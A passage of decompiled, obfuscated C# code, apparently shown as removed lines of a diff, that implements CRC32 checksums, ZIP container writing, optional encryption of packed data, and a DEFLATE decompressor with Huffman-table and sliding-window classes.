2970347812U, - 795835527U, - 1483230225U, - 3244367275U, - 3060149565U, - 1994146192U, - 31158534U, - 2563907772U, - 4023717930U, - 1907459465U, - 112637215U, - 2680153253U, - 3904427059U, - 2013776290U, - 251722036U, - 2517215374U, - 3775830040U, - 2137656763U, - 141376813U, - 2439277719U, - 3865271297U, - 1802195444U, - 476864866U, - 2238001368U, - 4066508878U, - 1812370925U, - 453092731U, - 2181625025U, - 4111451223U, - 1706088902U, - 314042704U, - 2344532202U, - 4240017532U, - 1658658271U, - 366619977U, - 2362670323U, - 4224994405U, - 1303535960U, - 984961486U, - 2747007092U, - 3569037538U, - 1256170817U, - 1037604311U, - 2765210733U, - 3554079995U, - 1131014506U, - 879679996U, - 2909243462U, - 3663771856U, - 1141124467U, - 855842277U, - 2852801631U, - 3708648649U, - 1342533948U, - 654459306U, - 3188396048U, - 3373015174U, - 1466479909U, - 544179635U, - 3110523913U, - 3462522015U, - 1591671054U, - 702138776U, - 2966460450U, - 3352799412U, - 1504918807U, - 783551873U, - 3082640443U, - 3233442989U, - 3988292384U, - 2596254646U, - 62317068U, - 1957810842U, - 3939845945U, - 2647816111U, - 81470997U, - 1943803523U, - 3814918930U, - 2489596804U, - 225274430U, - 2053790376U, - 3826175755U, - 2466906013U, - 167816743U, - 2097651377U, - 4027552580U, - 2265490386U, - 503444072U, - 1762050814U, - 4150417245U, - 2154129355U, - 426522225U, - 1852507879U, - 4275313526U, - 2312317920U, - 282753626U, - 1742555852U, - 4189708143U, - 2394877945U, - 397917763U, - 1622183637U, - 3604390888U, - 2714866558U, - 953729732U, - 1340076626U, - 3518719985U, - 2797360999U, - 1068828381U, - 1219638859U, - 3624741850U, - 2936675148U, - 906185462U, - 1090812512U, - 3747672003U, - 2825379669U, - 829329135U, - 1181335161U, - 3412177804U, - 3160834842U, - 628085408U, - 1382605366U, - 3423369109U, - 3138078467U, - 570562233U, - 1426400815U, - 3317316542U, - 2998733608U, - 733239954U, - 1555261956U, - 3268935591U, - 3050360625U, - 752459403U, - 1541320221U, - 2607071920U, - 3965973030U, - 1969922972U, - 40735498U, - 2617837225U, - 3943577151U, - 1913087877U, - 83908371U, - 2512341634U, - 3803740692U, - 2075208622U, - 213261112U, - 2463272603U, - 3855990285U, - 2094854071U, - 198958881U, - 2262029012U, - 4057260610U, - 1759359992U, - 534414190U, - 2176718541U, - 4139329115U, - 1873836001U, - 414664567U, - 2282248934U, - 4279200368U, - 1711684554U, - 285281116U, - 2405801727U, - 4167216745U, - 1634467795U, - 376229701U, - 2685067896U, - 3608007406U, - 1308918612U, - 956543938U, - 2808555105U, - 3495958263U, - 1231636301U, - 1047427035U, - 2932959818U, - 3654703836U, - 1088359270U, - 936918000U, - 2847714899U, - 3736837829U, - 1202900863U, - 817233897U, - 3183342108U, - 3401237130U, - 1404277552U, - 615818150U, - 3134207493U, - 3453421203U, - 1423857449U, - 601450431U, - 3009837614U, - 3294710456U, - 1567103746U, - 711928724U, - 3020668471U, - 3272380065U, - 1510334235U, - 755167117U - }; - maxValue = uint.MaxValue; - num2 = maxValue; - num3 = 0; - length = obj0.Length; - while (--length >= 0) - num2 = numArray1[(IntPtr) (uint) (((int) num2 ^ (int) obj0[num3++]) & (int) byte.MaxValue)] ^ num2 >> 8; - num2 ^= maxValue; - obj5.\u0016\u0003(67324752); - obj5.\u000F\u0003(20); - obj5.\u000F\u0003(0); - obj5.\u000F\u0003(8); - obj5.\u0016\u0003((int) num1); - obj5.\u0016\u0003((int) num2); - position1 = obj5.Position; - obj5.\u0016\u0003(0); - obj5.\u0016\u0003(obj0.Length); - bytes = Encoding.UTF8.GetBytes("{data}"); - obj5.\u000F\u0003(bytes.Length); - obj5.\u000F\u0003(0); - obj5.Write(bytes, 0, bytes.Length); - obj4.\u001F\u0002(obj0); - while (!obj4.\u001C\u0002()) - { - buffer1 = new byte[512]; - count1 = obj4.\u008F\u0002(buffer1); - if (count1 > 0) - obj5.Write(buffer1, 0, count1); - else - break; - } - obj4.\u008D\u0002(); - while (!obj4.\u008E\u0002()) - { - buffer2 = new byte[512]; - count2 = obj4.\u008F\u0002(buffer2); - if (count2 > 0) - obj5.Write(buffer2, 0, count2); - else - break; - } - num4 = obj4.\u008C\u0002(); - obj5.\u0016\u0003(33639248); - obj5.\u000F\u0003(20); - obj5.\u000F\u0003(20); - obj5.\u000F\u0003(0); - obj5.\u000F\u0003(8); - obj5.\u0016\u0003((int) num1); - obj5.\u0016\u0003((int) num2); - obj5.\u0016\u0003((int) num4); - obj5.\u0016\u0003(obj0.Length); - obj5.\u000F\u0003(bytes.Length); - obj5.\u000F\u0003(0); - obj5.\u000F\u0003(0); - obj5.\u000F\u0003(0); - obj5.\u000F\u0003(0); - obj5.\u0016\u0003(0); - obj5.\u0016\u0003(0); - obj5.Write(bytes, 0, bytes.Length); - obj5.\u0016\u0003(101010256); - obj5.\u000F\u0003(0); - obj5.\u000F\u0003(0); - obj5.\u000F\u0003(1); - obj5.\u000F\u0003(1); - obj5.\u0016\u0003(46 + bytes.Length); - obj5.\u0016\u0003((int) ((long) (30 + bytes.Length) + num4)); - obj5.\u000F\u0003(0); - obj5.Seek(position1, SeekOrigin.Begin); - obj5.\u0016\u0003((int) num4); - break; - case 1: - obj5.\u0016\u0003(25000571); - obj5.\u0016\u0003(obj0.Length); - for (srcOffset = 0; srcOffset < obj0.Length; srcOffset += dst.Length) - { - dst = new byte[(int) checked ((uint) Math.Min(2097151, unchecked (obj0.Length - srcOffset)))]; - Buffer.BlockCopy((Array) obj0, srcOffset, (Array) dst, 0, dst.Length); - position2 = obj5.Position; - obj5.\u0016\u0003(0); - obj5.\u0016\u0003(dst.Length); - obj6 = new \u0014.\u001A(); - obj6.\u001F\u0002(dst); - while (!obj6.\u001C\u0002()) - { - buffer3 = new byte[512]; - count3 = obj6.\u008F\u0002(buffer3); - if (count3 > 0) - obj5.Write(buffer3, 0, count3); - else - break; - } - obj6.\u008D\u0002(); - while (!obj6.\u008E\u0002()) - { - buffer4 = new byte[512]; - count4 = obj6.\u008F\u0002(buffer4); - if (count4 > 0) - obj5.Write(buffer4, 0, count4); - else - break; - } - position3 = obj5.Position; - obj5.Position = position2; - obj5.\u0016\u0003((int) obj6.\u008C\u0002()); - obj5.Position = position3; - } - break; - case 2: - obj5.\u0016\u0003(41777787); - inputBuffer1 = \u0014.\u0011\u0002(obj0, 1, (byte[]) null, (byte[]) null); - obj7 = new \u0013(); - try - { - cryptoTransform1 = obj7.\u000E\u0002(obj2, obj3, false); - try - { - buffer5 = cryptoTransform1.TransformFinalBlock(inputBuffer1, 0, inputBuffer1.Length); - obj5.Write(buffer5, 0, buffer5.Length); - break; - } - finally - { - cryptoTransform1?.Dispose(); - } - } - finally - { - obj7?.Dispose(); - } - case 3: - obj5.\u0016\u0003(58555003); - inputBuffer2 = \u0014.\u0011\u0002(obj0, 1, (byte[]) null, (byte[]) null); - obj8 = new \u0011(); - try - { - cryptoTransform2 = obj8.\u0007\u0002(obj2, obj3, false); - try - { - buffer6 = cryptoTransform2.TransformFinalBlock(inputBuffer2, 0, inputBuffer2.Length); - obj5.Write(buffer6, 0, buffer6.Length); - break; - } - finally - { - cryptoTransform2?.Dispose(); - } - } - finally - { - obj8?.Dispose(); - } - } - obj5.Flush(); - obj5.Close(); - array = obj5.ToArray(); - } - catch (Exception ex) - { - \u0014.\u0001 = "ERR 2003: " + ex.Message; - throw; - } - return array; - } - catch (Exception ex) - { - byte[] numArray2; - object[] objArray = new object[39] - { - (object) obj5, - (object) obj4, - (object) now, - (object) num1, - (object) numArray1, - (object) maxValue, - (object) num2, - (object) num3, - (object) length, - (object) position1, - (object) bytes, - (object) buffer1, - (object) count1, - (object) buffer2, - (object) count2, - (object) num4, - (object) srcOffset, - (object) dst, - (object) position2, - (object) obj6, - (object) buffer3, - (object) count3, - (object) buffer4, - (object) count4, - (object) position3, - (object) inputBuffer1, - (object) obj7, - (object) cryptoTransform1, - (object) buffer5, - (object) inputBuffer2, - (object) obj8, - (object) cryptoTransform2, - (object) buffer6, - (object) ex, - (object) numArray2, - (object) obj0, - (object) obj1, - (object) obj2, - (object) obj3 - }; - \u0089\u0004.\u0081\u0005(ex, objArray); - throw; - } - } - - internal sealed class \u0015 - { - private static readonly int[] \u0001; - private static readonly int[] \u0002; - private static readonly int[] \u0003; - private static readonly int[] \u0004; - private int \u0005; - private int \u0006; - private int \u0007; - private int \u0008; - private int \u000E; - private bool \u000F; - private \u0014.\u0016 \u0010; - private \u0014.\u0017 \u0011; - private \u0014.\u0019 \u0012; - private \u0014.\u0018 \u0013; - private \u0014.\u0018 \u0014; - - public \u0015([In] byte[] obj0) - { - try - { - this.\u0010 = new \u0014.\u0016(); - this.\u0011 = new \u0014.\u0017(); - this.\u0005 = 2; - this.\u0010.\u001F\u0002(obj0, 0, obj0.Length); - } - catch (Exception ex) - { - byte[] numArray = obj0; - \u0089\u0004.\u0019\u0005(ex, (object) this, (object) numArray); - throw; - } - } - - private bool \u0014\u0002() - { - int num1; - int index; - int num2; - int num3; - int num4; - try - { - num2 = this.\u0011.\u0084\u0002(); - while (num2 >= 258) - { - num1 = this.\u0005; - switch (num1) - { - case 7: - while (((index = this.\u0013.\u0089\u0002(this.\u0010)) & -256) == 0) - { - this.\u0011.\u007F\u0002(index); - if (--num2 < 258) - return true; - } - if (index < 257) - { - if (index < 0) - return false; - this.\u0014 = (\u0014.\u0018) null; - this.\u0013 = (\u0014.\u0018) null; - this.\u0005 = 2; - return true; - } - this.\u0007 = \u0014.\u0015.\u0001[index - 257]; - this.\u0006 = \u0014.\u0015.\u0002[index - 257]; - goto case 8; - case 8: - if (this.\u0006 > 0) - { - this.\u0005 = 8; - num3 = this.\u0010.\u0017\u0002(this.\u0006); - if (num3 < 0) - return false; - this.\u0010.\u0018\u0002(this.\u0006); - this.\u0007 += num3; - } - this.\u0005 = 9; - goto case 9; - case 9: - index = this.\u0014.\u0089\u0002(this.\u0010); - if (index < 0) - return false; - this.\u0008 = \u0014.\u0015.\u0003[index]; - this.\u0006 = \u0014.\u0015.\u0004[index]; - goto case 10; - case 10: - if (this.\u0006 > 0) - { - this.\u0005 = 10; - num4 = this.\u0010.\u0017\u0002(this.\u0006); - if (num4 < 0) - return false; - this.\u0010.\u0018\u0002(this.\u0006); - this.\u0008 += num4; - } - this.\u0011.\u0081\u0002(this.\u0007, this.\u0008); - num2 -= this.\u0007; - this.\u0005 = 7; - continue; - default: - continue; - } - } - return true; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) index; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num4; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num1; - \u0089\u0004.\u001D\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) this); - throw; - } - } - - private bool \u0015\u0002() - { - int num1; - int num2; - int num3; - int num4; - try - { - num2 = this.\u0005; - switch (num2) - { - case 2: - if (this.\u000F) - { - this.\u0005 = 12; - return false; - } - num1 = this.\u0010.\u0017\u0002(3); - if (num1 < 0) - return false; - this.\u0010.\u0018\u0002(3); - if ((num1 & 1) != 0) - this.\u000F = true; - num2 = num1 >> 1; - switch (num2) - { - case 0: - this.\u0010.\u001B\u0002(); - this.\u0005 = 3; - break; - case 1: - this.\u0013 = \u0014.\u0018.\u0002; - this.\u0014 = \u0014.\u0018.\u0003; - this.\u0005 = 7; - break; - case 2: - this.\u0012 = new \u0014.\u0019(); - this.\u0005 = 6; - break; - } - return true; - case 3: - this.\u000E = num2 = this.\u0010.\u0017\u0002(16); - if (num2 < 0) - return false; - this.\u0010.\u0018\u0002(16); - this.\u0005 = 4; - goto case 4; - case 4: - num3 = this.\u0010.\u0017\u0002(16); - if (num3 < 0) - return false; - this.\u0010.\u0018\u0002(16); - this.\u0005 = 5; - goto case 5; - case 5: - num4 = this.\u0011.\u0082\u0002(this.\u0010, this.\u000E); - this.\u000E -= num4; - if (this.\u000E != 0) - return !this.\u0010.\u001C\u0002(); - this.\u0005 = 2; - return true; - case 6: - if (!this.\u0012.\u0015\u0002(this.\u0010)) - return false; - this.\u0013 = this.\u0012.\u008A\u0002(); - this.\u0014 = this.\u0012.\u008B\u0002(); - this.\u0005 = 7; - goto case 7; - case 7: - case 8: - case 9: - case 10: - return this.\u0014\u0002(); - case 12: - return false; - default: - return false; - } - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num3; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num4; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num2; - \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) this); - throw; - } - } - - public int \u0016\u0002([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1; - int num2; - try - { - num2 = 0; - do - { - if (this.\u0005 != 11) - goto label_5; -label_2: - continue; -label_5: - num1 = this.\u0011.\u0087\u0002(obj0, obj1, obj2); - obj1 += num1; - num2 += num1; - obj2 -= num1; - if (obj2 != 0) - goto label_2; - else - goto label_1; - } - while (this.\u0015\u0002() || this.\u0011.\u0086\u0002() > 0 && this.\u0005 != 11); - goto label_3; -label_1: - return num2; -label_3: - return num2; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num1; - byte[] numArray = obj0; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) obj2; - \u0089\u0004.\u001D\u0005(ex, (object) local1, (object) local2, (object) this, (object) numArray, (object) local3, (object) local4); - throw; - } - } - - static \u0015() - { - try - { - \u0014.\u0015.\u0001 = new int[29] - { - 3, - 4, - 5, - 6, - 7, - 8, - 9, - 10, - 11, - 13, - 15, - 17, - 19, - 23, - 27, - 31, - 35, - 43, - 51, - 59, - 67, - 83, - 99, - 115, - 131, - 163, - 195, - 227, - 258 - }; - \u0014.\u0015.\u0002 = new int[29] - { - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 1, - 1, - 1, - 1, - 2, - 2, - 2, - 2, - 3, - 3, - 3, - 3, - 4, - 4, - 4, - 4, - 5, - 5, - 5, - 5, - 0 - }; - \u0014.\u0015.\u0003 = new int[30] - { - 1, - 2, - 3, - 4, - 5, - 7, - 9, - 13, - 17, - 25, - 33, - 49, - 65, - 97, - 129, - 193, - 257, - 385, - 513, - 769, - 1025, - 1537, - 2049, - 3073, - 4097, - 6145, - 8193, - 12289, - 16385, - 24577 - }; - \u0014.\u0015.\u0004 = new int[30] - { - 0, - 0, - 0, - 0, - 1, - 1, - 2, - 2, - 3, - 3, - 4, - 4, - 5, - 5, - 6, - 6, - 7, - 7, - 8, - 8, - 9, - 9, - 10, - 10, - 11, - 11, - 12, - 12, - 13, - 13 - }; - } - catch (Exception ex) - { - \u0089\u0004.\u0017\u0005(ex); - throw; - } - } - } - - internal sealed class \u0016 - { - private byte[] \u0001; - private int \u0002 = 0; - private int \u0003 = 0; - private uint \u0004 = 0; - private int \u0005 = 0; - - public int \u0017\u0002([In] int obj0) - { - int num1; - try - { - if (this.\u0005 < obj0) - goto label_4; -label_3: - return (int) ((long) this.\u0004 & (long) ((1 << obj0) - 1)); -label_4: - if (this.\u0002 == this.\u0003) - return -1; - \u0014.\u0016 obj = this; - int num2 = (int) obj.\u0004; - byte[] numArray1 = this.\u0001; - num1 = this.\u0002++; - int index1 = num1; - int num3 = (int) numArray1[index1] & (int) byte.MaxValue; - byte[] numArray2 = this.\u0001; - num1 = this.\u0002++; - int index2 = num1; - int num4 = ((int) numArray2[index2] & (int) byte.MaxValue) << 8; - int num5 = (num3 | num4) << this.\u0005; - obj.\u0004 = (uint) (num2 | num5); - this.\u0005 += 16; - goto label_3; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) this, (object) local2); - throw; - } - } - - public void \u0018\u0002([In] int obj0) - { - try - { - this.\u0004 >>= obj0; - this.\u0005 -= obj0; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj0; - \u0089\u0004.\u0019\u0005(ex, (object) this, (object) local); - throw; - } - } - - [SpecialName] - public int \u0019\u0002() - { - try - { - return this.\u0005; - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - [SpecialName] - public int \u001A\u0002() - { - try - { - return this.\u0003 - this.\u0002 + (this.\u0005 >> 3); - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public void \u001B\u0002() - { - try - { - this.\u0004 >>= this.\u0005 & 7; - this.\u0005 &= -8; - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - [SpecialName] - public bool \u001C\u0002() - { - try - { - return this.\u0002 == this.\u0003; - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public int \u001D\u0002([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1; - int num2; - int num3; - try - { - num1 = 0; - while (this.\u0005 > 0 && obj2 > 0) - { - obj0[obj1++] = (byte) this.\u0004; - this.\u0004 >>= 8; - this.\u0005 -= 8; - --obj2; - ++num1; - } - if (obj2 == 0) - return num1; - num2 = this.\u0003 - this.\u0002; - if (obj2 > num2) - obj2 = num2; - Array.Copy((Array) this.\u0001, this.\u0002, (Array) obj0, obj1, obj2); - this.\u0002 += obj2; - if ((this.\u0002 - this.\u0003 & 1) != 0) - { - byte[] numArray = this.\u0001; - num3 = this.\u0002++; - int index = num3; - this.\u0004 = (uint) numArray[index] & (uint) byte.MaxValue; - this.\u0005 = 8; - } - return num1 + obj2; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num3; - byte[] numArray = obj0; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) obj2; - \u0089\u0004.\u001E\u0005(ex, (object) local1, (object) local2, (object) local3, (object) this, (object) numArray, (object) local4, (object) local5); - throw; - } - } - - public \u0016() - { - try - { - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public void \u001F\u0002([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num; - try - { - if (this.\u0002 < this.\u0003) - throw new InvalidOperationException(); - num = obj1 + obj2; - if (0 > obj1 || obj1 > num || num > obj0.Length) - throw new ArgumentOutOfRangeException(); - if ((obj2 & 1) != 0) - { - this.\u0004 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0005); - this.\u0005 += 8; - } - this.\u0001 = obj0; - this.\u0002 = obj1; - this.\u0003 = num; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num; - byte[] numArray = obj0; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj2; - \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) this, (object) numArray, (object) local2, (object) local3); - throw; - } - } - } - - internal sealed class \u0017 - { - private byte[] \u0001 = new byte[32768]; - private int \u0002 = 0; - private int \u0003 = 0; - - public void \u007F\u0002([In] int obj0) - { - int num1; - try - { - \u0014.\u0017 obj = this; - int num2; - num1 = num2 = obj.\u0003; - obj.\u0003 = num2 + 1; - if (num1 == 32768) - throw new InvalidOperationException(); - byte[] numArray = this.\u0001; - num1 = this.\u0002++; - int index = num1; - int num3 = (int) (byte) obj0; - numArray[index] = (byte) num3; - this.\u0002 &= (int) short.MaxValue; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) this, (object) local2); - throw; - } - } - - private void \u0080\u0002([In] int obj0, [In] int obj1, [In] int obj2) - { - int num1; - try - { - while (obj1-- > 0) - { - byte[] numArray = this.\u0001; - \u0014.\u0017 obj = this; - int num2; - num1 = num2 = obj.\u0002; - obj.\u0002 = num2 + 1; - int index = num1; - int num3 = (int) this.\u0001[obj0++]; - numArray[index] = (byte) num3; - this.\u0002 &= (int) short.MaxValue; - obj0 &= (int) short.MaxValue; - } - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) obj2; - \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) this, (object) local2, (object) local3, (object) local4); - throw; - } - } - - public void \u0081\u0002([In] int obj0, [In] int obj1) - { - int num1; - int sourceIndex; - int num2; - try - { - num1 = (this.\u0003 += obj0); - if (num1 > 32768) - throw new InvalidOperationException(); - sourceIndex = this.\u0002 - obj1 & (int) short.MaxValue; - num2 = 32768 - obj0; - if (sourceIndex <= num2 && this.\u0002 < num2) - { - if (obj0 <= obj1) - { - Array.Copy((Array) this.\u0001, sourceIndex, (Array) this.\u0001, this.\u0002, obj0); - this.\u0002 += obj0; - } - else - { - while (obj0-- > 0) - { - byte[] numArray = this.\u0001; - num1 = this.\u0002++; - int index = num1; - int num3 = (int) this.\u0001[sourceIndex++]; - numArray[index] = (byte) num3; - } - } - } - else - this.\u0080\u0002(sourceIndex, obj0, obj1); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) sourceIndex; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) obj0; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) obj1; - \u0089\u0004.\u001D\u0005(ex, (object) local1, (object) local2, (object) local3, (object) this, (object) local4, (object) local5); - throw; - } - } - - public int \u0082\u0002([In] \u0014.\u0016 obj0, [In] int obj1) - { - int num1; - int num2; - try - { - obj1 = Math.Min(Math.Min(obj1, 32768 - this.\u0003), obj0.\u001A\u0002()); - num1 = 32768 - this.\u0002; - if (obj1 > num1) - { - num2 = obj0.\u001D\u0002(this.\u0001, this.\u0002, num1); - if (num2 == num1) - num2 += obj0.\u001D\u0002(this.\u0001, 0, obj1 - num1); - } - else - num2 = obj0.\u001D\u0002(this.\u0001, this.\u0002, obj1); - this.\u0002 = this.\u0002 + num2 & (int) short.MaxValue; - this.\u0003 += num2; - return num2; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num1; - \u0014.\u0016 obj = obj0; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) obj1; - \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) local2, (object) this, (object) obj, (object) local3); - throw; - } - } - - public int \u0084\u0002() - { - try - { - return 32768 - this.\u0003; - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public int \u0086\u0002() - { - try - { - return this.\u0003; - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public int \u0087\u0002([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1; - int num2; - int length; - try - { - int num3 = this.\u0002; - if (true) - num1 = num3; - if (obj2 > this.\u0003) - obj2 = this.\u0003; - else - num1 = this.\u0002 - this.\u0003 + obj2 & (int) short.MaxValue; - num2 = obj2; - length = obj2 - num1; - if (length > 0) - { - Array.Copy((Array) this.\u0001, 32768 - length, (Array) obj0, obj1, length); - obj1 += length; - obj2 = num1; - } - Array.Copy((Array) this.\u0001, num1 - obj2, (Array) obj0, obj1, obj2); - this.\u0003 -= num2; - if (this.\u0003 < 0) - throw new InvalidOperationException(); - return num2; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) length; - byte[] numArray = obj0; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) obj1; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) obj2; - \u0089\u0004.\u001E\u0005(ex, (object) local1, (object) local2, (object) local3, (object) this, (object) numArray, (object) local4, (object) local5); - throw; - } - } - - public \u0017() - { - try - { - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - } - - internal sealed class \u0018 - { - private short[] \u0001; - public static readonly \u0014.\u0018 \u0002; - public static readonly \u0014.\u0018 \u0003; - - static \u0018() - { - int num; - byte[] numArray1; - try - { - numArray1 = new byte[288]; - if (true) - goto label_12; -label_1: - while (num < 144) - numArray1[num++] = (byte) 8; - while (num < 256) - numArray1[num++] = (byte) 9; - while (num < 280) - numArray1[num++] = (byte) 7; - while (num < 288) - numArray1[num++] = (byte) 8; - \u0014.\u0018.\u0002 = new \u0014.\u0018(numArray1); - numArray1 = new byte[32]; - num = 0; - while (num < 32) - numArray1[num++] = (byte) 5; - \u0014.\u0018.\u0003 = new \u0014.\u0018(numArray1); - return; -label_12: - num = 0; - goto label_1; - } - catch (Exception ex) - { - byte[] numArray2 = numArray1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num; - \u0089\u0004.\u0019\u0005(ex, (object) numArray2, (object) local); - throw; - } - } - - public \u0018([In] byte[] obj0) - { - try - { - this.\u0088\u0002(obj0); - } - catch (Exception ex) - { - byte[] numArray = obj0; - \u0089\u0004.\u0019\u0005(ex, (object) this, (object) numArray); - throw; - } - } - - private void \u0088\u0002([In] byte[] obj0) - { - int index1; - int num1; - int[] numArray1; - int[] numArray2; - IntPtr index2; - int num2; - int length; - int index3; - int[] numArray3; - int num3; - int num4; - int num5; - int index4; - int num6; - int num7; - int num8; - int index5; - int index6; - int index7; - int num9; - int num10; - try - { - numArray1 = new int[16]; - numArray3 = new int[16]; - for (index1 = 0; index1 < obj0.Length; ++index1) - { - num1 = (int) obj0[index1]; - if (num1 > 0) - (numArray2 = numArray1)[(int) (index2 = (IntPtr) num1)] = numArray2[index2] + 1; - } - num2 = 0; - length = 512; - for (index3 = 1; index3 <= 15; ++index3) - { - numArray3[index3] = num2; - num2 += numArray1[index3] << 16 - index3; - if (index3 >= 10) - { - num3 = numArray3[index3] & 130944; - num4 = num2 & 130944; - length += num4 - num3 >> 16 - index3; - } - } - this.\u0001 = new short[(int) checked ((uint) length)]; - num5 = 512; - for (index4 = 15; index4 >= 10; --index4) - { - num6 = num2 & 130944; - num2 -= numArray1[index4] << 16 - index4; - num7 = num2 & 130944; - for (num8 = num7; num8 < num6; num8 += 128) - { - this.\u0001[(int) \u0014.\u001B.\u0090\u0002(num8)] = (short) (-num5 << 4 | index4); - num5 += 1 << index4 - 9; - } - } - for (index5 = 0; index5 < obj0.Length; ++index5) - { - index6 = (int) obj0[index5]; - if (index6 != 0) - { - num2 = numArray3[index6]; - index7 = (int) \u0014.\u001B.\u0090\u0002(num2); - if (index6 <= 9) - { - do - { - this.\u0001[index7] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < 512); - } - else - { - num9 = (int) this.\u0001[index7 & 511]; - num10 = 1 << (num9 & 15); - num9 = -(num9 >> 4); - do - { - this.\u0001[num9 | index7 >> 9] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < num10); - } - numArray3[index6] = num2 + (1 << 16 - index6); - } - } - } - catch (Exception ex) - { - object[] objArray = new object[23] - { - (object) numArray1, - (object) numArray3, - (object) index1, - (object) num1, - (object) num2, - (object) length, - (object) index3, - (object) num3, - (object) num4, - (object) num5, - (object) index4, - (object) num6, - (object) num7, - (object) num8, - (object) index5, - (object) index6, - (object) index7, - (object) num9, - (object) num10, - (object) numArray2, - (object) index2, - (object) this, - (object) obj0 - }; - \u0089\u0004.\u0081\u0005(ex, objArray); - throw; - } - } - - public int \u0089\u0002([In] \u0014.\u0016 obj0) - { - int index; - int num1; - int num2; - int num3; - int num4; - int num5; - try - { - if ((index = obj0.\u0017\u0002(9)) >= 0) - { - if ((num1 = (int) this.\u0001[index]) >= 0) - { - obj0.\u0018\u0002(num1 & 15); - return num1 >> 4; - } - num2 = -(num1 >> 4); - num3 = num1 & 15; - if ((index = obj0.\u0017\u0002(num3)) >= 0) - { - num1 = (int) this.\u0001[num2 | index >> 9]; - obj0.\u0018\u0002(num1 & 15); - return num1 >> 4; - } - num4 = obj0.\u0019\u0002(); - index = obj0.\u0017\u0002(num4); - num1 = (int) this.\u0001[num2 | index >> 9]; - if ((num1 & 15) > num4) - return -1; - obj0.\u0018\u0002(num1 & 15); - return num1 >> 4; - } - num5 = obj0.\u0019\u0002(); - index = obj0.\u0017\u0002(num5); - num1 = (int) this.\u0001[index]; - if (num1 < 0 || (num1 & 15) > num5) - return -1; - obj0.\u0018\u0002(num1 & 15); - return num1 >> 4; - } 